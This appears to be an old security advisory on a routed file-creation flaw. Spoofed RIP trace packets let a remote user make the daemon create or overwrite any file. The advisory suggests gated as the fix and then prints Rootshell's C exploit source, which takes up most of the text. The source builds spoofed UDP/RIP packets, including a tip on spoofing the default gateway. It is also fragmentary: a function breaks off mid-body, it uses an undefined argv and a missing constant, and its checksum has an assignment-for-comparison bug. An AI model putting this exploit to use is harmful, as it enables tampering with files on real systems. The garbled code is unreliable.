RouteD a network service that comes with most UNIX distributions is vulnerable to a "file create" exploit, where a malicious remote user can send spoofed RIP packets to a remote host, while specifying that these packets are DEBUG packets, causing routed to create a DEBUG file. More over, in these DEBUG packets a malicious user can specify which file should be created on the remote server.
Credit:
A possible solution could be to upgrade the routed service to gated which offers most features.
GateD's home page is: www.gated.org.
The exploit was found to affect most BSD based machines that run routed. By sending a packet that turns routed's debug mode and by specifying the file which is later to be opened as the debug file without (without it checking for permissions), routed might overwrite any file in the UNIX system.
The source code for this exploit is included below:
/*
* BSD 4.4 based routed trace file exploit
*
* (C) 1997 Rootshell [ http://www.rootshell.com/ ]
*
* Solaris 2.6 seems to ignore these packets and returns the following
* error. Mileage may vary.. :
*
* in.routed[6580]: trace command from 1.2.3.4 - ignored
*
* Redhat routed was tested and found to check if the packet came from
* a valid router. If you spoof the RIP packet from their default
* gateway the packet is ACCEPTED.
*
* Note: Once a trace file is opened you must close the trace file and then
* open another file.
*
* Exploit tested under Linux 2.0.x.
*
* ps. Just run gated! (http://www.gated.org/)
*
*/
/* File to append to on filesystem with debug output */
/*
* in_cksum --
* Checksum routine for Internet Protocol family headers (C Version)
*/
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft = 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
/* Send faked UDP packet. */
int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long int saddr, daddr;
char *data;
{
struct iphdr ip;
struct udphdr udp;
static char packet[8192];
/* Fill in RIP packet info */
rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */
rp.rip_vers = RIPVERSION; /* Must be version 1 */
sprintf(rp.rip_tracefile, FILETOCREATE);